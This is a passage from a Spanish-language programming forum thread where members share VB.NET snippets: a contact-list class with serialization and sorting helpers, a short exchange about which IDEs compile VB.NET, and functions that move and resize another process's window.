  39.        Else ' If is first FindNext call then...
  40.            Next_Count += 1
  41.        End If
  42.  
  43.        ' Set Search_StartIndex
  44.        Search_StartIndex = _
  45.        [Control].Find(SearchText, Search_StartIndex, IgnoreCase)
  46.        ' ...And prevent search at End Of File
  47.        If Search_StartIndex = -1 Then
  48.            Search_StartIndex = _
  49.            [Control].Find(SearchText, 0, IgnoreCase)
  50.        End If
  51.  
  52.        If Search_StartIndex = -1 Then
  53.            Exit Sub ' No matches found
  54.        End If
  55.  
  56.        ' Set the match selection
  57.        [Control].Select(Search_StartIndex, SearchText.Length)
  58.        ' Set the BackColor
  59.        [Control].SelectionBackColor = Highlight_BackColor
  60.        ' Set the ForeColor
  61.        [Control].SelectionColor = Highlight_ForeColor
  62.        ' Scroll to Caret/Cursor position
  63.        [Control].ScrollToCaret()
  64.  
  65.    End Sub
  66.  
  67. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 14 Octubre 2013, 19:09 pm
Una class para manejar bases de clientes,
En principio el código original lo descargué de la página CodeProject, pero lo modifiqué casi por completo y además le añadi +20 funciones genéricas para que las operaciones más comunes no requieran escritura de código adicional.

(La lista de contactos es facil de añadir en un Listview/DataGridView)

Esto es un ejemplo de para que sirve:

(http://img10.imageshack.us/img10/8277/8bw3.png)

EDITO: He añadido un par de funciones más.

Código
  1. #Region " Contact "
  2.  
  3. #Region " Examples (Normal usage)"
  4.  
  5. ' Create a new list of contacts
  6. ' Dim Contacts As List(Of Contact) = New List(Of Contact)
  7. ' Or load ContactList from previous serialized file
  8. ' Dim Contacts As List(Of Contact) = ContactSerializer.Deserialize("C:\Contacts.bin")
  9.  
  10. ' Set a variable to store the current contact position
  11. ' Dim CurrentPosition As Integer = 0
  12.  
  13. ' Create a new contact
  14. ' Dim CurrentContact As Contact = New Contact With { _
  15. '     .Name = "Manolo", _
  16. '     .Surname = "El del Bombo", _
  17. '     .Country = "Spain", _
  18. '     .City = "Valencia", _
  19. '     .Street = "Av. Mestalla", _
  20. '     .ZipCode = "42731", _
  21. '     .Phone = "96.XXX.XX.XX", _
  22. '     .CellPhone = "651.XXX.XXX", _
  23. '     .Email = "ManoloToLoko@Gmail.com"}
  24.  
  25. ' Add a contact to contacts list
  26. ' Contacts.Add(CurrentContact)
  27.  
  28. ' Update the CurrentPosition index value
  29. ' CurrentPosition = Contacts.IndexOf(CurrentContact)
  30.  
  31. #End Region
  32.  
  33. #Region " Examples (Generic functions) "
  34.  
  35.  
  36. ' Examples:
  37. '
  38. ' -----------------
  39. ' Add a new contact
  40. ' -----------------
  41. ' Contact.Add_Contact(ContactList, "Manolo", "El del Bombo", "Spain", "Valencia", "Av. Mestalla", "42731", "96.XXX.XX.XX", "651.XXX.XXX", "ManoloToLoko@Gmail.com")
  42. '
  43. '
  44. ' -----------------------------------------------------------------
  45. ' Load a contact from an existing contacts list into TextBox Fields
  46. ' -----------------------------------------------------------------
  47. ' Contact.Load_Contact(ContactList, 0, TextBox_Name, textbox_surName, TextBox_Country, textbox_City, TextBox_Street, TextBox_ZipCode, TextBox_Phone, TextBox_CellPhone, TextBox_email)
  48. '
  49. '
  50. ' ----------------------------------
  51. ' Load a contact into TextBox Fields
  52. ' ----------------------------------
  53. ' Contact.Load_Contact(Contact, TextBox_Name, textbox_surName, TextBox_Country, textbox_City, TextBox_Street, TextBox_ZipCode, TextBox_Phone, TextBox_CellPhone, TextBox_email)
  54. '
  55. '
  56. ' ---------------------------------
  57. ' Load a contact list into ListView
  58. ' ---------------------------------
  59. ' Contact.Load_ContactList_Into_ListView(ContactList, ListView1)
  60. '
  61. '
  62. ' -------------------------------------
  63. ' Load a contact list into DataGrivView
  64. ' -------------------------------------
  65. ' Contact.Load_ContactList_Into_DataGrivView(ContactList, DataGrivView1)
  66. '
  67. '
  68. ' -------------------------------------------
  69. ' Load a contacts list from a serialized file
  70. ' -------------------------------------------
  71. ' Dim ContactList As List(Of Contact) = Contact.Load_ContactList("C:\Contacts.bin")
  72. '
  73. '
  74. ' -----------------------------------------------------------------------
  75. ' Find the first occurrence of a contact name in a existing contacts list
  76. ' -----------------------------------------------------------------------
  77. ' Dim ContactFound As Contact = Contact.Match_Contact_Name_FirstOccurrence(ContactList, "Manolo")
  78. '
  79. '
  80. ' ----------------------------------------------------------------------
  81. ' Find all the occurrences of a contact name in a existing contacts list
  82. ' ----------------------------------------------------------------------
  83. ' Dim ContactsFound As List(Of Contact) = Contact.Match_Contact_Name(ContactList, "Manolo")
  84. '
  85. '
  86. ' -------------------------------------------------------------
  87. ' Remove a contact from a Contact List giving the contact index
  88. ' -------------------------------------------------------------
  89. ' Remove_Contact(ContactList, 0)
  90. '
  91. '
  92. ' -------------------------------------------------------
  93. ' Remove a contact from a Contact List giving the contact
  94. ' -------------------------------------------------------
  95. ' Remove_Contact(ContactList, MyContact)
  96. '
  97. '
  98. ' -------------------------
  99. ' Save the contacts to file
  100. ' -------------------------
  101. ' Contact.Save_ContactList(ContactList, "C:\Contacts.bin")
  102. '
  103. '
  104. ' -------------------------
  105. ' Sort the contacts by name
  106. ' -------------------------
  107. ' Dim SorteredContacts As List(Of Contact) = Contact.Sort_ContactList_By_Name(ContactList, Contact.ContectSortMode.Ascending)
  108. '
  109. '
  110. ' --------------------------------------------------------------------
  111. ' Get a formatted string containing the details of an existing contact
  112. ' --------------------------------------------------------------------
  113. ' MsgBox(Contact.Get_Contact_Details(ContactList, 0))
  114. ' MsgBox(Contact.Get_Contact_Details(CurrentContact))
  115. '    
  116. '
  117. ' ----------------------------------------------------------------------------------
  118. ' Copy to clipboard a formatted string containing the details of an existing contact
  119. ' ----------------------------------------------------------------------------------
  120. ' Contact.Copy_Contact_Details_To_Clipboard(ContactList, 0)
  121. ' Contact.Copy_Contact_Details_To_Clipboard(CurrentContact)
  122.  
  123.  
  124. #End Region
  125.  
  126. <Serializable()> _
  127. Public Class Contact
  128.  
  129.    Public Enum ContectSortMode As Short
  130.        Ascending = 0
  131.        Descending = 1
  132.    End Enum
  133.  
  134. #Region "Member Variables"
  135.  
  136.    Private mId As System.Guid
  137.    Private mName As String
  138.    Private mSurname As String
  139.    Private mCountry As String
  140.    Private mCity As String
  141.    Private mStreet As String
  142.    Private mZip As String
  143.    Private mPhone As String
  144.    Private mCellPhone As String
  145.    Private mEmail As String
  146.  
  147. #End Region
  148.  
  149. #Region "Constructor"
  150.  
  151.    Public Sub New()
  152.        mId = Guid.NewGuid()
  153.    End Sub
  154.  
  155.  
  156.    Public Sub New(ByVal ID As System.Guid)
  157.        mId = ID
  158.    End Sub
  159.  
  160. #End Region
  161.  
  162. #Region "Properties"
  163.  
  164.    Public Property Name() As String
  165.        Get
  166.            Return mName
  167.        End Get
  168.        Set(ByVal value As String)
  169.            mName = value
  170.        End Set
  171.    End Property
  172.  
  173.    Public Property Surname() As String
  174.        Get
  175.            Return mSurname
  176.        End Get
  177.        Set(ByVal value As String)
  178.            mSurname = value
  179.        End Set
  180.    End Property
  181.  
  182.    Public Property Street() As String
  183.        Get
  184.            Return mStreet
  185.        End Get
  186.        Set(ByVal value As String)
  187.            mStreet = value
  188.        End Set
  189.    End Property
  190.  
  191.    Public Property City() As String
  192.        Get
  193.            Return mCity
  194.        End Get
  195.        Set(ByVal value As String)
  196.            mCity = value
  197.        End Set
  198.    End Property
  199.  
  200.    Public Property Country() As String
  201.        Get
  202.            Return mCountry
  203.        End Get
  204.        Set(ByVal value As String)
  205.            mCountry = value
  206.        End Set
  207.    End Property
  208.  
  209.    Public Property ZipCode() As String
  210.        Get
  211.            Return mZip
  212.        End Get
  213.        Set(ByVal value As String)
  214.            mZip = value
  215.        End Set
  216.    End Property
  217.  
  218.    Public Property Email() As String
  219.        Get
  220.            Return mEmail
  221.        End Get
  222.        Set(ByVal value As String)
  223.            mEmail = value
  224.        End Set
  225.    End Property
  226.  
  227.    Public Property Phone() As String
  228.        Get
  229.            Return mPhone
  230.        End Get
  231.        Set(ByVal value As String)
  232.            mPhone = value
  233.        End Set
  234.    End Property
  235.  
  236.    Public Property CellPhone() As String
  237.        Get
  238.            Return mCellPhone
  239.        End Get
  240.        Set(ByVal value As String)
  241.            mCellPhone = value
  242.        End Set
  243.    End Property
  244.  
  245. #End Region
  246.  
  247. #Region " ContactSerializer "
  248.  
  249.    Public Class ContactSerializer
  250.  
  251.        ''' <summary>
  252.        ''' Serialize a contact list into a contacts file.
  253.        ''' </summary>
  254.        ''' <param name="ContactList"></param>
  255.        ''' <param name="FilePath"></param>
  256.        ''' <remarks></remarks>
  257.        Public Shared Sub Save(ByVal ContactList As List(Of Contact), _
  258.                                    ByVal FilePath As String)
  259.  
  260.            Dim fs As IO.FileStream = Nothing
  261.            Dim formatter As System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
  262.  
  263.            Try
  264.                fs = New IO.FileStream(FilePath, IO.FileMode.OpenOrCreate)
  265.                formatter = New System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
  266.                formatter.Serialize(fs, ContactList)
  267.  
  268.            Catch ex As Exception
  269.  
  270.                MessageBox.Show(String.Format("{0}:{1}{1}{2}", ex.Message, Environment.NewLine, ex.StackTrace), _
  271.                                "Error", _
  272.                                MessageBoxButtons.OK, _
  273.                                MessageBoxIcon.Error)
  274.  
  275.            Finally
  276.                If fs IsNot Nothing Then fs.Dispose()
  277.  
  278.            End Try
  279.  
  280.        End Sub
  281.  
  282.        ''' <summary>
  283.        ''' Deserialize an existing file into a contact list.
  284.        ''' </summary>
  285.        ''' <param name="FilePath"></param>
  286.        ''' <returns></returns>
  287.        ''' <remarks></remarks>
  288.        Public Shared Function Load(ByVal FilePath As String) As List(Of Contact)
  289.  
  290.            Dim fs As IO.FileStream = Nothing
  291.            Dim formatter As System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
  292.  
  293.            Try
  294.                fs = New IO.FileStream(FilePath, IO.FileMode.Open)
  295.                formatter = New System.Runtime.Serialization.Formatters.Binary.BinaryFormatter()
  296.                Return formatter.Deserialize(fs)
  297.  
  298.            Catch ex As Exception
  299.  
  300.                MessageBox.Show(String.Format("{0}:{1}{1}{2}", ex.Message, Environment.NewLine, ex.StackTrace), _
  301.                                "Error", _
  302.                                MessageBoxButtons.OK, _
  303.                                MessageBoxIcon.Error)
  304.                Return Nothing
  305.  
  306.            Finally
  307.                If fs IsNot Nothing Then fs.Dispose()
  308.  
  309.            End Try
  310.  
  311.        End Function
  312.  
  313.    End Class
  314.  
  315. #End Region
  316.  
  317. #Region " Generic Functions "
  318.  
  319.    ' Formatted String of contact detailed information
  320.    Shared ReadOnly DetailsFormat As String = _
  321.    "Name.....: {1}{0}Surname..: {2}{0}Country..: {3}{0}City.....: {4}{0}Street...: {5}{0}Zipcode..: {6}{0}Phone....: {7}{0}CellPhone: {8}{0}Email....: {9}"
  322.  
  323.    ''' <summary>
  324.    ''' Add a new contact into a existing contacts list.
  325.    ''' </summary>
  326.    Public Shared Sub Add_Contact(ByVal ContactList As List(Of Contact), _
  327.                           ByVal Name As String, _
  328.                           ByVal Surname As String, _
  329.                           ByVal Country As String, _
  330.                           ByVal City As String, _
  331.                           ByVal Street As String, _
  332.                           ByVal ZipCode As String, _
  333.                           ByVal Phone As String, _
  334.                           ByVal CellPhone As String, _
  335.                           ByVal Email As String)
  336.  
  337.        ContactList.Add(New Contact With { _
  338.                        .Name = Name, _
  339.                        .Surname = Surname, _
  340.                        .Country = Country, _
  341.                        .City = City, _
  342.                        .Street = Street, _
  343.                        .ZipCode = ZipCode, _
  344.                        .Phone = Phone, _
  345.                        .CellPhone = CellPhone, _
  346.                        .Email = Email _
  347.                    })
  348.  
  349.    End Sub
  350.  
  351.    ''' <summary>
  352.    ''' Remove a contact from an existing contacts list.
  353.    ''' </summary>
  354.    Public Shared Sub Remove_Contact(ByVal ContactList As List(Of Contact), ByVal ContactIndex As Integer)
  355.        ContactList.RemoveAt(ContactIndex)
  356.    End Sub
  357.  
  358.    ''' <summary>
  359.    ''' Remove a contact from an existing contacts list.
  360.    ''' </summary>
  361.    Public Shared Sub Remove_Contact(ByVal ContactList As List(Of Contact), ByVal Contact As Contact)
  362.        ContactList.Remove(Contact)
  363.    End Sub
  364.  
  365.    ''' <summary>
  366.    ''' Find the first occurrence of a contact name in an existing contacts list.
  367.    ''' </summary>
  368.    Public Shared Function Match_Contact_Name_FirstOccurrence(ByVal ContactList As List(Of Contact), ByVal Name As String) As Contact
  369.  
  370.        Return ContactList.Find(Function(contact) contact.Name.ToLower.StartsWith(Name.ToLower) _
  371.                                OrElse contact.Name.ToLower.Contains(Name.ToLower))
  372.    End Function
  373.  
  374.    ''' <summary>
  375.    ''' Find all the occurrences of a contact name in a existing contacts list.
  376.    ''' </summary>
  377.    Public Shared Function Match_Contact_Name(ByVal ContactList As List(Of Contact), ByVal Name As String) As List(Of Contact)
  378.  
  379.        Return ContactList.FindAll(Function(contact) contact.Name.ToLower.StartsWith(Name.ToLower) _
  380.                                   OrElse contact.Name.ToLower.Contains(Name.ToLower))
  381.  
  382.    End Function
  383.  
  384.    ''' <summary>
  385.    ''' Load a contact from an existing contacts list into textbox fields.
  386.    ''' </summary>
  387.    Public Shared Sub Load_Contact(ByVal ContactList As List(Of Contact), _
  388.                            ByVal ContactIndex As Integer, _
  389.                            ByVal TextBox_Name As TextBox, _
  390.                            ByVal TextBox_Surname As TextBox, _
  391.                            ByVal TextBox_Country As TextBox, _
  392.                            ByVal TextBox_City As TextBox, _
  393.                            ByVal TextBox_Street As TextBox, _
  394.                            ByVal TextBox_Zipcode As TextBox, _
  395.                            ByVal TextBox_Phone As TextBox, _
  396.                            ByVal TextBox_CellPhone As TextBox, _
  397.                            ByVal TextBox_Email As TextBox)
  398.  
  399.        TextBox_Name.Text = ContactList.Item(ContactIndex).Name
  400.        TextBox_Surname.Text = ContactList.Item(ContactIndex).Surname
  401.        TextBox_Country.Text = ContactList.Item(ContactIndex).Country
  402.        TextBox_City.Text = ContactList.Item(ContactIndex).City
  403.        TextBox_Street.Text = ContactList.Item(ContactIndex).Street
  404.        TextBox_Zipcode.Text = ContactList.Item(ContactIndex).ZipCode
  405.        TextBox_Phone.Text = ContactList.Item(ContactIndex).Phone
  406.        TextBox_CellPhone.Text = ContactList.Item(ContactIndex).CellPhone
  407.        TextBox_Email.Text = ContactList.Item(ContactIndex).Email
  408.  
  409.    End Sub
  410.  
  411.    ''' <summary>
  412.    ''' Load a contact into textbox fields.
  413.    ''' </summary>
  414.    Public Shared Sub Load_Contact(ByVal Contact As Contact, _
  415.                            ByVal TextBox_Name As TextBox, _
  416.                            ByVal TextBox_Surname As TextBox, _
  417.                            ByVal TextBox_Country As TextBox, _
  418.                            ByVal TextBox_City As TextBox, _
  419.                            ByVal TextBox_Street As TextBox, _
  420.                            ByVal TextBox_Zipcode As TextBox, _
  421.                            ByVal TextBox_Phone As TextBox, _
  422.                            ByVal TextBox_CellPhone As TextBox, _
  423.                            ByVal TextBox_Email As TextBox)
  424.  
  425.        TextBox_Name.Text = Contact.Name
  426.        TextBox_Surname.Text = Contact.Surname
  427.        TextBox_Country.Text = Contact.Country
  428.        TextBox_City.Text = Contact.City
  429.        TextBox_Street.Text = Contact.Street
  430.        TextBox_Zipcode.Text = Contact.ZipCode
  431.        TextBox_Phone.Text = Contact.Phone
  432.        TextBox_CellPhone.Text = Contact.CellPhone
  433.        TextBox_Email.Text = Contact.Email
  434.  
  435.    End Sub
  436.  
  437.    ''' <summary>
  438.    ''' Seriale a contacts list to a file.
  439.    ''' </summary>
  440.    Public Shared Sub Save_ContactList(ByVal ContactList As List(Of Contact), ByVal FilePath As String)
  441.  
  442.        Contact.ContactSerializer.Save(ContactList, FilePath)
  443.  
  444.    End Sub
  445.  
  446.    ''' <summary>
  447.    ''' Load a contacts list from a serialized file.
  448.    ''' </summary>
  449.    Public Shared Function Load_ContactList(ByVal FilePath As String) As List(Of Contact)
  450.  
  451.        Return Contact.ContactSerializer.Load(FilePath)
  452.  
  453.    End Function
  454.  
  455.    ''' <summary>
  456.    ''' Reorder the contacts of a Contacts List by the Name field.
  457.    ''' </summary>
  458.    Public Shared Function Sort_ContactList_By_Name(ByVal ContactList As List(Of Contact), _
  459.                                              ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
  460.  
  461.        Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
  462.                  ContactList.OrderBy(Function(contact) contact.Name).ToList(), _
  463.                  ContactList.OrderByDescending(Function(contact) contact.Name).ToList())
  464.  
  465.    End Function
  466.  
  467.    ''' <summary>
  468.    ''' Reorder the contacts of a Contacts List by the Surname field.
  469.    ''' </summary>
  470.    Public Shared Function Sort_ContactList_By_Surname(ByVal ContactList As List(Of Contact), _
  471.                                                 ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
  472.  
  473.        Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
  474.                  ContactList.OrderBy(Function(contact) contact.Surname).ToList(), _
  475.                  ContactList.OrderByDescending(Function(contact) contact.Surname).ToList())
  476.  
  477.    End Function
  478.  
  479.    ''' <summary>
  480.    ''' Reorder the contacts of a Contacts List by the Country field.
  481.    ''' </summary>
  482.    Public Shared Function Sort_ContactList_By_Country(ByVal ContactList As List(Of Contact), _
  483.                                                 ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
  484.  
  485.        Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
  486.                  ContactList.OrderBy(Function(contact) contact.Country).ToList(), _
  487.                  ContactList.OrderByDescending(Function(contact) contact.Country).ToList())
  488.  
  489.    End Function
  490.  
  491.    ''' <summary>
  492.    ''' Reorder the contacts of a Contacts List by the City field.
  493.    ''' </summary>
  494.    Public Shared Function Sort_ContactList_By_City(ByVal ContactList As List(Of Contact), _
  495.                                              ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
  496.  
  497.        Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
  498.                  ContactList.OrderBy(Function(contact) contact.City).ToList(), _
  499.                  ContactList.OrderByDescending(Function(contact) contact.City).ToList())
  500.  
  501.    End Function
  502.  
  503.    ''' <summary>
  504.    ''' Reorder the contacts of a Contacts List by the Street field.
  505.    ''' </summary>
  506.    Public Shared Function Sort_ContactList_By_Street(ByVal ContactList As List(Of Contact), _
  507.                                                ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
  508.  
  509.        Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
  510.                  ContactList.OrderBy(Function(contact) contact.Street).ToList(), _
  511.                  ContactList.OrderByDescending(Function(contact) contact.Street).ToList())
  512.  
  513.    End Function
  514.  
  515.    ''' <summary>
  516.    ''' Reorder the contacts of a Contacts List by the Zipcode field.
  517.    ''' </summary>
  518.    Public Shared Function Sort_ContactList_By_Zipcode(ByVal ContactList As List(Of Contact), _
  519.                                                 ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
  520.  
  521.        Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
  522.                  ContactList.OrderBy(Function(contact) contact.ZipCode).ToList(), _
  523.                  ContactList.OrderByDescending(Function(contact) contact.ZipCode).ToList())
  524.  
  525.    End Function
  526.  
  527.    ''' <summary>
  528.    ''' Reorder the contacts of a Contacts List by the Phone field.
  529.    ''' </summary>
  530.    Public Shared Function Sort_ContactList_By_Phone(ByVal ContactList As List(Of Contact), _
  531.                                               ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
  532.  
  533.        Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
  534.                  ContactList.OrderBy(Function(contact) contact.Phone).ToList(), _
  535.                  ContactList.OrderByDescending(Function(contact) contact.Phone).ToList())
  536.  
  537.    End Function
  538.  
  539.    ''' <summary>
  540.    ''' Reorder the contacts of a Contacts List by the CellPhone field.
  541.    ''' </summary>
  542.    Public Shared Function Sort_ContactList_By_CellPhone(ByVal ContactList As List(Of Contact), _
  543.                                                   ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
  544.  
  545.        Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
  546.                  ContactList.OrderBy(Function(contact) contact.CellPhone).ToList(), _
  547.                  ContactList.OrderByDescending(Function(contact) contact.CellPhone).ToList())
  548.  
  549.    End Function
  550.  
  551.    ''' <summary>
  552.    ''' Reorder the contacts of a Contacts List by the Email field.
  553.    ''' </summary>
  554.    Public Shared Function Sort_ContactList_By_Email(ByVal ContactList As List(Of Contact), _
  555.                                               ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
  556.  
  557.        Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
  558.                  ContactList.OrderBy(Function(contact) contact.Email).ToList(), _
  559.                  ContactList.OrderByDescending(Function(contact) contact.Email).ToList())
  560.  
  561.    End Function
  562.  
  563.    ''' <summary>
  564.    ''' Get a formatted string containing the details of an existing contact.
  565.    ''' </summary>
  566.    Public Shared Function Get_Contact_Details(ByVal ContactList As List(Of Contact), ByVal ContactIndex As Integer) As String
  567.  
  568.        Return String.Format(DetailsFormat, _
  569.                             Environment.NewLine, _
  570.                             ContactList.Item(ContactIndex).Name, _
  571.                             ContactList.Item(ContactIndex).Surname, _
  572.                             ContactList.Item(ContactIndex).Country, _
  573.                             ContactList.Item(ContactIndex).City, _
  574.                             ContactList.Item(ContactIndex).Street, _
  575.                             ContactList.Item(ContactIndex).ZipCode, _
  576.                             ContactList.Item(ContactIndex).Phone, _
  577.                             ContactList.Item(ContactIndex).CellPhone, _
  578.                             ContactList.Item(ContactIndex).Email)
  579.  
  580.    End Function
  581.  
  582.    ''' <summary>
  583.    ''' Get a formatted string containing the details of an existing contact.
  584.    ''' </summary>
  585.    Public Shared Function Get_Contact_Details(ByVal Contact As Contact) As String
  586.  
  587.        Return String.Format(DetailsFormat, _
  588.                             Environment.NewLine, _
  589.                             Contact.Name, _
  590.                             Contact.Surname, _
  591.                             Contact.Country, _
  592.                             Contact.City, _
  593.                             Contact.Street, _
  594.                             Contact.ZipCode, _
  595.                             Contact.Phone, _
  596.                             Contact.CellPhone, _
  597.                             Contact.Email)
  598.  
  599.    End Function
  600.  
  601.    ''' <summary>
  602.    ''' Copy to clipboard a formatted string containing the details of an existing contact.
  603.    ''' </summary>
  604.    Public Shared Sub Copy_Contact_Details_To_Clipboard(ByVal ContactList As List(Of Contact), ByVal ContactIndex As Integer)
  605.  
  606.        Clipboard.SetText(String.Format(DetailsFormat, _
  607.                          Environment.NewLine, _
  608.                          ContactList.Item(ContactIndex).Name, _
  609.                          ContactList.Item(ContactIndex).Surname, _
  610.                          ContactList.Item(ContactIndex).Country, _
  611.                          ContactList.Item(ContactIndex).City, _
  612.                          ContactList.Item(ContactIndex).Street, _
  613.                          ContactList.Item(ContactIndex).ZipCode, _
  614.                          ContactList.Item(ContactIndex).Phone, _
  615.                          ContactList.Item(ContactIndex).CellPhone, _
  616.                          ContactList.Item(ContactIndex).Email))
  617.  
  618.    End Sub
  619.  
  620.    ''' <summary>
  621.    ''' Copy to clipboard a formatted string containing the details of an existing contact.
  622.    ''' </summary>
  623.    Public Shared Sub Copy_Contact_Details_To_Clipboard(ByVal Contact As Contact)
  624.  
  625.        Clipboard.SetText(String.Format(DetailsFormat, _
  626.                          Environment.NewLine, _
  627.                          Contact.Name, _
  628.                          Contact.Surname, _
  629.                          Contact.Country, _
  630.                          Contact.City, _
  631.                          Contact.Street, _
  632.                          Contact.ZipCode, _
  633.                          Contact.Phone, _
  634.                          Contact.CellPhone, _
  635.                          Contact.Email))
  636.  
  637.    End Sub
  638.  
  639.    ''' <summary>
  640.    ''' Load an existing contacts list into a ListView.
  641.    ''' </summary>
  642.    Public Shared Sub Load_ContactList_Into_ListView(ByVal ContactList As List(Of Contact), _
  643.                                                     ByVal Listview As ListView)
  644.  
  645.        Listview.Items.AddRange( _
  646.                       ContactList _
  647.                       .Select(Function(Contact) _
  648.                               New ListViewItem(New String() { _
  649.                                                                Contact.Name, _
  650.                                                                Contact.Surname, _
  651.                                                                Contact.Country, _
  652.                                                                Contact.City, _
  653.                                                                Contact.Street, _
  654.                                                                Contact.ZipCode, _
  655.                                                                Contact.Phone, _
  656.                                                                Contact.CellPhone, _
  657.                                                                Contact.Email _
  658.                                                             })).ToArray())
  659.  
  660.    End Sub
  661.  
  662.    ''' <summary>
  663.    ''' Load an existing contacts list into a DataGridView.
  664.    ''' </summary>
  665.    Public Shared Sub Load_ContactList_Into_DataGridView(ByVal ContactList As List(Of Contact), _
  666.                                                         ByVal DataGridView As DataGridView)
  667.  
  668.        DataGridView.DataSource = ContactList
  669.        ' Sortered:
  670.        ' DataGridView.DataSource = (From Contact In ContactList Order By Contact.Name Ascending Select Contact).ToList
  671.  
  672.    End Sub
  673.  
  674.  
  675. #End Region
  676.  
  677. End Class
  678.  
  679. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: MauriH en 14 Octubre 2013, 20:23 pm
@MauriH

Vuelve a leer este post hasta el final: http://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1891125#msg1891125

Solo quiero decir una cosa:

Un millón de gracias!!  ;D
Estuve averiguando y al parecer tengo q usar Visual Studio para utilizar los codigos posteados o me equivoco?

Saludos.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 14 Octubre 2013, 20:47 pm
Estuve averiguando y al parecer tengo q usar Visual Studio para utilizar los codigos posteados o me equivoco?

Si, estás en lo cierto, tienes que usar VisualStudio,
existen otras IDES como SharpDevelop, MonoDevelop, e incluso puedes programar/compilar C# online desde la página -> CodeRun (http://www.coderun.com/ide/),
pero en mi opinión como la IDE de Microsoft no hay ninguna que se pueda comparar, aunque si tienes un PC lento quizás prefieras usar sharpdevelop porque VisualStudio consume bastantes recursos del sistema (no se puede ser el mejor sin tener algún inconveniente).

EDITO:
En -> IDEOne (http://ideone.com/#) y -> CompileOnline (http://www.compileonline.com/compile_vb.net_online.php) puedes compilar código VBNET.

Un saludo!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Octubre 2013, 10:12 am
Las siguientes funciones pueden adaptarlas fácilmente para pasarle el handle de la ventana, yo preferí usar diréctamente el nombre del proceso en cuestión.





Mueve la ventana de un proceso

Código
  1. #Region " Move Process Window "
  2.  
  3.    ' [ Move Process Window ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Move the notepad window at 10,50 (X,Y)
  10.    ' Move_Process_Window("notepad.exe", 10, 50)
  11.    '
  12.    ' Move the notepad window at 10 (X) and preserving the original (Y) process window position
  13.    ' Move_Process_Window("notepad.exe", 10, Nothing)
  14.  
  15.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  16.    Shared Function GetWindowRect(hWnd As IntPtr, ByRef rc As Rectangle) As Boolean
  17.    End Function
  18.  
  19.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  20.    Shared Function MoveWindow(hWnd As IntPtr, x As Integer, y As Integer, Width As Integer, Height As Integer, repaint As Boolean) As Boolean
  21.    End Function
  22.  
  23.    Private Sub Move_Process_Window(ByVal ProcessName As String, ByVal X As Integer, ByVal Y As Integer)
  24.  
  25.        ProcessName = If(ProcessName.ToLower.EndsWith(".exe"), _
  26.                         ProcessName.Substring(0, ProcessName.LastIndexOf(".")), _
  27.                         ProcessName)
  28.  
  29.        Dim rect As Rectangle = Nothing
  30.        Dim proc As Process = Nothing
  31.  
  32.        Try
  33.            ' Find the process
  34.            proc = Process.GetProcessesByName(ProcessName).First
  35.  
  36.            ' Store the process Main Window positions and sizes into the Rectangle.
  37.            GetWindowRect(proc.MainWindowHandle, rect)
  38.  
  39.            ' Move the Main Window
  40.            MoveWindow(proc.MainWindowHandle, _
  41.                       If(Not X = Nothing, X, rect.Left), _
  42.                       If(Not Y = Nothing, Y, rect.Top), _
  43.                       (rect.Width - rect.Left), _
  44.                       (rect.Height - rect.Top), _
  45.                       True)
  46.  
  47.        Catch ex As InvalidOperationException
  48.            'Throw New Exception("Process not found.")
  49.            MessageBox.Show("Process not found.", Nothing, MessageBoxButtons.OK, MessageBoxIcon.Error)
  50.  
  51.        Finally
  52.            rect = Nothing
  53.            If proc IsNot Nothing Then proc.Dispose()
  54.  
  55.        End Try
  56.  
  57.    End Sub
  58.  
  59. #End Region





Redimensiona la ventana de un proceso

Código
  1. #Region " Resize Process Window "
  2.  
  3.    ' [ Resize Process Window ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '        
  9.    ' Resize the notepad window at 500x250 (Width x Height)
  10.    ' Resize_Process_Window("notepad.exe", 500, 250)
  11.    '
  12.    ' Resize the notepad window at 500 (Width) and preserving the original (Height) process window size.
  13.    ' Resize_Process_Window("notepad.exe", 500, Nothing)
  14.  
  15.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  16.    Shared Function GetWindowRect(hWnd As IntPtr, ByRef rc As Rectangle) As Boolean
  17.    End Function
  18.  
  19.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  20.    Shared Function MoveWindow(hWnd As IntPtr, x As Integer, y As Integer, Width As Integer, Height As Integer, repaint As Boolean) As Boolean
  21.    End Function
  22.  
  23.    Private Sub Resize_Process_Window(ByVal ProcessName As String, _
  24.                                      ByVal Width As Integer, _
  25.                                      ByVal Height As Integer)
  26.  
  27.        ProcessName = If(ProcessName.ToLower.EndsWith(".exe"), _
  28.                         ProcessName.Substring(0, ProcessName.LastIndexOf(".")), _
  29.                         ProcessName)
  30.  
  31.        Dim rect As Rectangle = Nothing
  32.        Dim proc As Process = Nothing
  33.  
  34.        Try
